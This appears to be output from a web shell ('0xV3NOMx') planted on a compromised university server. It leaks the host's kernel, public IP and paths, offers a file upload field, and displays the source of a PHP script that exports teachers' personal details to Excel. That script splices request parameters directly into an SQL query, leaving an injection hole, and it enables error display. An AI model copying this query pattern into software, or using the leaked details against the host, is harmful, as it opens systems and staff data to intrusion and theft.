0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.143.237.203


Current Path : /var/www/html/univadmin/
Upload File :
Current File : /var/www/html/univadmin/teachersList.php

<?php
ini_set('max_execution_time', 60);
$main_src = substr($_SERVER['SCRIPT_FILENAME'], 0, strlen($_SERVER['SCRIPT_FILENAME']) - 7);

error_reporting(E_ALL);
ini_set('display_errors', TRUE);
ini_set('display_startup_errors', TRUE);
date_default_timezone_set('GMT+5:30');
// PHPExcel_Shared_Font::setAutoSizeMethod(PHPExcel_Shared_Font::AUTOSIZE_METHOD_EXACT);
if (PHP_SAPI == 'cli')
    die('This example should only be run from a Web Browser');

/** Include PHPExcel */
$pdf_writer_class = $main_src . '/PHPExcel/Classes/PHPExcel.php';
require_once($pdf_writer_class);


function getheaders($objPHPExcel, $fileName)
{
    //To Fit To Page while printing
    $objPHPExcel->getActiveSheet()->getPageSetup()->setRowsToRepeatAtTopByStartAndEnd(1);
    $objPHPExcel->getActiveSheet()->getPageSetup()->setFitToWidth(1);
    $objPHPExcel->getActiveSheet()->getPageSetup()->setFitToHeight(0);
    $objPHPExcel->getActiveSheet()->getPageSetup()->setHorizontalCentered(true);
    $objPHPExcel->getActiveSheet()->getPageSetup()->setVerticalCentered(false);
    
    ob_end_clean();
    // ob_start();
    // Redirect output to a client’s web browser (Excel5)
    header('Content-Type: application/vnd.ms-excel');
    header('Content-Disposition: attachment;filename="' . $fileName . '.xls"');
    header('Cache-Control: max-age=0');
    // If you're serving to IE 9, then the following may be needed
    header('Cache-Control: max-age=1');

    // If you're serving to IE over SSL, then the following may be needed
    header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past
    header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified
    header('Cache-Control: cache, must-revalidate'); // HTTP/1.1
    header('Pragma: public'); // HTTP/1.0
    ob_end_clean();
    $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');
    
    $objWriter->save('php://output');
}


function reportAdmFeeSummary($result, $aobj_context)
{

    $objPHPExcel = new PHPExcel();
    $fileName = 'TeachersList';
    $objPHPExcel->getProperties()->setCreator("Me")
    ->setLastModifiedBy("Me")->setTitle("My Excel Sheet")
    ->setSubject("My Excel Sheet")->setDescription("Excel Sheet")
    ->setKeywords("Excel Sheet")->setCategory("Me");
    // $objPHPExcel->setOutputEncoding('UTF-8');
    // Set active sheet index to the first sheet, so Excel opens this as the first sheet
    $objPHPExcel->setActiveSheetIndex(0);

    $objPHPExcel->getActiveSheet()->setTitle($fileName);
    $objPHPExcel->getActiveSheet()->getPageSetup()
    ->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);
    
    $get_coll_name = "select FUNIVNAME as 'FUNIVNAME',FUNIVCODE,
    FUNIVADD1 as 'state', pdf_logo_path,
    ifnull(FEXAMAPPREQ,'F') as FEXAMAPPREQ From control";

    $lobj_get_coll_name = $aobj_context->mobj_db->GetRow($get_coll_name);

    $objPHPExcel->getActiveSheet()->getHeaderFooter()
    ->setOddHeader('&C&H&"-,Bold"&16' . $aobj_context->FUNIVNAME);

    $objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddFooter('&RPage &P of &N');


    // Add column headers and make them bold
    $styleArray = array(
        'borders' => array(
            'allborders' => array(
                'style' => PHPExcel_Style_Border::BORDER_THIN,
                'color' => array('argb' => '000000'),
            ),
        ),
    );

    $alpha = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 
                'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'AA', 'AB', 'AC',
                'AD', 'AF', 'AE', 'AF', 'AG', 'AH'
            ];

    $objPHPExcel->getActiveSheet()->getStyle('1:1')->getFont()->setBold(true);
    $objPHPExcel->getActiveSheet()->getStyle('1:1')->getFont()->setSize(12);
    $objPHPExcel->getActiveSheet()->freezePane('A1');

    $objPHPExcel->getActiveSheet()->setCellValue('A1', 'Sl. No.');
    $objPHPExcel->getActiveSheet()->setCellValue('B1', 'College Code');
    $objPHPExcel->getActiveSheet()->setCellValue('C1', 'College Name');
    $objPHPExcel->getActiveSheet()->setCellValue('D1', 'Teach. Code');
    $objPHPExcel->getActiveSheet()->setCellValue('E1', 'Title');
    $objPHPExcel->getActiveSheet()->setCellValue('F1', 'Teacher Name');
    $objPHPExcel->getActiveSheet()->setCellValue('G1', 'Gender');
    $objPHPExcel->getActiveSheet()->setCellValue('H1', 'Designation');
    $objPHPExcel->getActiveSheet()->setCellValue('I1', 'Qualification');
    $objPHPExcel->getActiveSheet()->setCellValue('J1', 'Salary Scale');    
    $objPHPExcel->getActiveSheet()->setCellValue('K1', 'Fulltime');

    $objPHPExcel->getActiveSheet()->setCellValue('L1', 'Permanent');
    $objPHPExcel->getActiveSheet()->setCellValue('M1', 'Date of Birth');
    $objPHPExcel->getActiveSheet()->setCellValue('N1', 'Date of Join');
    $objPHPExcel->getActiveSheet()->setCellValue('O1', 'Date of Join(UGC)');
    $objPHPExcel->getActiveSheet()->setCellValue('P1', 'Experience');
    $objPHPExcel->getActiveSheet()->setCellValue('Q1', 'Experience (UGC)');
    $objPHPExcel->getActiveSheet()->setCellValue('R1', 'Mobile No.');
    $objPHPExcel->getActiveSheet()->setCellValue('S1', 'Phone No.');
    $objPHPExcel->getActiveSheet()->setCellValue('T1', 'Email ID');
    $objPHPExcel->getActiveSheet()->setCellValue('U1', 'Address');
    $objPHPExcel->getActiveSheet()->setCellValue('V1', 'Update Date');
    $objPHPExcel->getActiveSheet()->setCellValue('W1', 'Remarks');
    $objPHPExcel->getActiveSheet()->setCellValue('X1', 'Status');
    
    
    $objPHPExcel->getActiveSheet()->getStyle('A1:X1')->applyFromArray($styleArray);
    // $objPHPExcel->getActiveSheet()->getColumnDimension('G1')->setAutoSize(true);
    $objPHPExcel->getActiveSheet()->getRowDimension('1')->setRowHeight(40);

    $objPHPExcel->getActiveSheet()->getStyle('A1:X1')->getAlignment()->setWrapText(true);
    $objPHPExcel->getActiveSheet()->getStyle('A1:X1')->getAlignment()
                ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
    $objPHPExcel->getActiveSheet()->getStyle('A1:X1')->getAlignment()
                ->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);


    // $objPHPExcel->getActiveSheet()->freezePane('A1');  
    $objPHPExcel->getActiveSheet()->freezePane('A2');              

    $j = 2;
    $slNo = 1;
    $sum = array();
    $totamt=0;
    $totapp=0;
    // setlocale(LC_ALL, 'hi_IN');
    // var_dump($result);die();

    foreach ($result as $key => $value) {

        $objPHPExcel->getActiveSheet()->setCellValue('A' . $j, $slNo)
        ->getColumnDimension('A')->setwidth(5);

        $objPHPExcel->getActiveSheet()->setCellValue('B' . $j, $value['fcollcode'])
        ->getColumnDimension('B')->setwidth(10.43);

        $objPHPExcel->getActiveSheet()->setCellValue('C' . $j, $value['fcollname'])
        ->getColumnDimension('C')->setwidth(50);

        $objPHPExcel->getActiveSheet()->setCellValue('D' . $j, $value['fteachcode'])
        ->getColumnDimension('D')->setwidth(10);

        $objPHPExcel->getActiveSheet()->setCellValue('E' . $j, $value['ftitle'])
        ->getColumnDimension('E')->setwidth(7);

        $objPHPExcel->getActiveSheet()->setCellValue('F' . $j, $value['fteachname'])
        ->getColumnDimension('F')->setwidth(35);

        $objPHPExcel->getActiveSheet()->setCellValue('G' . $j, $value['fgender'])
        ->getColumnDimension('G')->setwidth(10);

        $objPHPExcel->getActiveSheet()->setCellValue('H' . $j, $value['fdegndesc'])
        ->getColumnDimension('H')->setwidth(17);

        $objPHPExcel->getActiveSheet()->setCellValue('I' . $j, $value['fqual'])
        ->getColumnDimension('I')->setwidth(17);

        $objPHPExcel->getActiveSheet()->setCellValue('J' . $j, $value['fscale'])
        ->getColumnDimension('J')->setwidth(12);

        $objPHPExcel->getActiveSheet()->setCellValue('K' . $j, $value['ffulltime'])
        ->getColumnDimension('K')->setwidth(10);

        $objPHPExcel->getActiveSheet()->setCellValue('L' . $j, $value['fpermanent'])
        ->getColumnDimension('L')->setwidth(10);

        $objPHPExcel->getActiveSheet()->setCellValue('M' . $j, $value['fdob'])
        ->getColumnDimension('M')->setwidth(12);

        $objPHPExcel->getActiveSheet()->setCellValue('N' . $j, $value['fdoa'])
        ->getColumnDimension('N')->setwidth(12);

        $objPHPExcel->getActiveSheet()->setCellValue('O' . $j, $value['FDOJUGC'])
        ->getColumnDimension('O')->setwidth(12);

        $objPHPExcel->getActiveSheet()->setCellValue('P' . $j, $value['FEXP'])
        ->getColumnDimension('P')->setwidth(15);

        $objPHPExcel->getActiveSheet()->setCellValue('Q' . $j, $value['FEXPUGC'])
        ->getColumnDimension('Q')->setwidth(15);

        $objPHPExcel->getActiveSheet()->setCellValue('R' . $j, $value['fmobile'])
        ->getColumnDimension('R')->setwidth(12);

        $objPHPExcel->getActiveSheet()->setCellValue('S' . $j, $value['fphone'])
        ->getColumnDimension('S')->setwidth(12);

        $objPHPExcel->getActiveSheet()->setCellValue('T' . $j, $value['femail'])
        ->getColumnDimension('T')->setwidth(30);

        $objPHPExcel->getActiveSheet()->setCellValue('U' . $j, $value['faddress'])
        ->getColumnDimension('U')->setwidth(50);

        $objPHPExcel->getActiveSheet()->setCellValue('V' . $j, $value['fmoddate'])
        ->getColumnDimension('V')->setwidth(17);

        $objPHPExcel->getActiveSheet()->setCellValue('W' . $j, $value['fremarks'])
        ->getColumnDimension('W')->setwidth(30);

        $objPHPExcel->getActiveSheet()->setCellValue('X' . $j, $value['fstatus'])
        ->getColumnDimension('X')->setwidth(12);

       

        
        
        $objPHPExcel->getActiveSheet()->getRowDimension($j)->setRowHeight(30);
        $j++;$slNo++;
        $totamt += $value['fee'];
        $totapp += $value['fcnt'];
    }
    // var_dump($totamt);die();


    $objPHPExcel->getActiveSheet()->getStyle('A2' . ':X' . $j)->applyFromArray($styleArray);

    $objPHPExcel->getActiveSheet()->getStyle('A2'.':X' . $j)->getAlignment()
    ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);

    $objPHPExcel->getActiveSheet()->getStyle('A2'.':X' . $j)->getAlignment()
    ->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);

    $objPHPExcel->getActiveSheet()->getStyle('C2'.':C' . $j)->getAlignment()
    ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);

    $objPHPExcel->getActiveSheet()->getStyle('F2'.':F' . $j)->getAlignment()
    ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);


    $objPHPExcel->getActiveSheet()->getStyle('U2'.':U' . $j)->getAlignment()
    ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);

    $objPHPExcel->getActiveSheet()->getStyle('W2'.':W' . $j)->getAlignment()
    ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);

    $objPHPExcel->getActiveSheet()->getStyle('I2'.':I' . $j)->getAlignment()
    ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);

    $objPHPExcel->getActiveSheet()->getStyle('T2'.':T' . $j)->getAlignment()
    ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);

    $objPHPExcel->getActiveSheet()->getStyle('A3' . ':X' . $j)->getAlignment()
    ->setVertical(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);

    // $objPHPExcel->getActiveSheet()->getStyle('A1:X1')->getAlignment()
    // ->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
    $objPHPExcel->getActiveSheet()->getRowDimension($j)->setRowHeight(30);
    

    $objPHPExcel->getActiveSheet()->getStyle('A3' . ':X' . $j)->getAlignment()
    ->setWrapText(true);

    // $objPHPExcel->getActiveSheet()->setCellValue('G'.$j, moneyFormatIndia($totamt));
    // $objPHPExcel->getActiveSheet()->setCellValue('F'.$j, moneyFormatIndia($totapp));

    // $objPHPExcel->getActiveSheet()->getStyle('A'.$j.':G'.$j)->getFont()->setBold(true);
    // $objPHPExcel->getActiveSheet()->getStyle('A'.$j.':G'.$j)->getFont()->setSize(12);
    
    // $objPHPExcel->getActiveSheet()->mergeCells('A'.$j.':E'.$j)->setCellValue('A'.$j, 'Total');

    // $objPHPExcel->getActiveSheet()->getStyle('G2:G'.$j)->getNumberFormat()->setFormatCode("#,##0");
    // $objPHPExcel->getActiveSheet()->getStyle('F'.$j)->getNumberFormat()->setFormatCode("#,##0");

    

    

    getheaders($objPHPExcel, $fileName);
}


function teachersList($aobj_context) {
    $deggrp = $aobj_context->mobj_data["deggrp"];
    $fboard = $aobj_context->mobj_data["fboard"];
    $fdeggrpfrm = $aobj_context->mobj_data["fdeggrpfrm"];
    $fdeggrpto = $aobj_context->mobj_data["fdeggrpto"];
    $fboardfrm = $aobj_context->mobj_data["fboardfrm"];
    $fboardto = $aobj_context->mobj_data["fboardto"];

    $query = "select a.fcollcode, concat(c.fcollname, ', ', c.ftown) as fcollname, a.fteachcode, a.ftitle, a.fteachname, 
    a.fgender, b.fdegndesc, a.fqual, a.fscale,a.ffulltime, a.fpermanent, 
    date_format(a.fdob,'%d/%m/%Y') as fdob,date_format(a.fdoa, '%d/%m/%Y') as fdoa,
    if(ifnull(FDOJUGC,'-undefined') = '-undefined', '', date_format(FDOJUGC, '%d/%m/%Y')) as FDOJUGC, 
    concat(TIMESTAMPDIFF( YEAR, FDOA, now()), ' Yr., ', TIMESTAMPDIFF( MONTH, FDOA, now()) % 12, ' Mon.') as FEXP,
    if(ifnull(FDOJUGC,'-undefined') <> '-undefined', concat(TIMESTAMPDIFF(YEAR, FDOJUGC, now()), ' Yr., ', TIMESTAMPDIFF( MONTH, FDOJUGC, now()) % 12, ' Mon.'), '') as FEXPUGC, 
     a.fmobile, a.fphone, a.femail, concat( faddr1, ' \n', faddr2, ' \n', faddr3, ' \n', faddr4 ) as faddress,
     date_format(a.flogdate, '%d/%m/%Y %h:%i') as fmoddate, a.fremarks, fstatus from masteach a 
     inner join college c on a.fcollcode = c.fcollcode inner join masdegn b on a.fdegncode = b.fdegncode
     where ifnull(fdeggrp,'') between '{$fdeggrpfrm}' and '{$fdeggrpto}'  and fstatus = 'WORKING' and fboard between '{$fboardfrm}' and '{$fboardto}'
     order by a.fcollcode, a.fteachcode;";

    $result = $aobj_context->pobj_db->GetAll($query);
    // var_dump($result);die();

    reportAdmFeeSummary($result, $aobj_context);


}


function moneyFormatIndia($num)
{
    $explrestunits = "";
    if (strlen($num) > 3) {
        $lastthree = substr($num, strlen($num) - 3, strlen($num));
        $restunits = substr($num, 0, strlen($num) - 3); // extracts the last three digits
        $restunits = (strlen($restunits) % 2 == 1) ? "0" . $restunits : $restunits; // explodes the remaining digits in 2's formats, adds a zero in the beginning to maintain the 2's grouping.
        $expunit = str_split($restunits, 2);
        for ($i = 0; $i < sizeof($expunit); $i++) {
            // creates each of the 2's group and adds a comma to the end
            if ($i == 0) {
                $explrestunits .= (int) $expunit[$i] . ","; // if is first value , convert into integer
            } else {
                $explrestunits .= $expunit[$i] . ",";
            }
        }
        $thecash = $explrestunits . $lastthree;
    } else {
        $thecash = $num;
    }
    return $thecash; // writes the final format where $currency is the currency symbol.
}